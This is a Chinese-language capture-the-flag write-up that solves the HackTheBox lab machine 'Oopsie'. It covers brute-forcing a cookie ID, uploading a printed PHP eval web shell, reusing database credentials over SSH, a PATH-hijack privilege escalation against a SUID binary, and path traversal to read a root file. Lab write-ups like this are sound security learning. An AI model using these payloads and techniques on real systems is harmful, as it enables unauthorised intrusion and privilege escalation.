- 难度 : Very Easy
- 靶场 : HackTheBox [Oopsie]
- 类型 : 综合渗透
GetShell
访问 80 ,查看源代码,发现存在路径 http://10.129.230.107/cdn-cgi/login/
,是后台管理地址,可以直接 Guest 登录。
登录后发现多了两个 Cookie ,其中 user
应该是对应的 UID ,用 Burp 爆破,由于 HTB 里面有个提示,是 5 位数,并且最后一位是 2 ,所以爆破量不算太大,最多 9000 次就可以完成了。
爆破得出 admin 的 UID 是 34322 ,可以访问上传界面了,直接上传一句话。
<?php eval($_REQUEST['1']);
上传后的路径是 http://10.129.230.107/uploads/filename.php
,用蚁剑可以成功连接,不过貌似会定期清理。
翻了下源代码,找到了数据库配置文件 /var/www/html/cdn-cgi/login/db.php
,里面有一个 robert
用户和密码。
用这个用户 SSH 撞库,成功登录,GetShell 成功。
提权
发现用户有个可执行文件 bugtracker
可以直接使用。原理应该是在程序中赋予了 cat
SUID ,目的是让 cat
命令可以访问任何文件,但是实际上这个 cat
并不是绝对路径 /bin/cat
,所以可以直接修改环境变量,控制 cat
的内容,达到提权的效果。
首先创建文件夹 /tmp/test
,然后在 /tmp/test
中创建一个 cat
文件,写入以下内容。
/bin/bash
赋予 cat
可执行权限。
chmod +x cat
修改环境变量。
export PATH=/tmp/test:/bin:/usr/bin
which cat
此时 cat
已经变成了一个 root 权限的 shell ,再执行 bugtracker
即可提权成功,但是查看 flag 就不能再用 cat
了,可以用 head
或者其他的命令代替。
head /home/robert/user.txt
head /root/root.txt
但其实这题不用这种方法也能解,只要能猜对 root 的 flag 文件名就行,类似任意文件读取,可以直接执行 bugtracker
,然后 bug id 填写 ../../../root/root.txt
,就可以读出 flag 了。
评论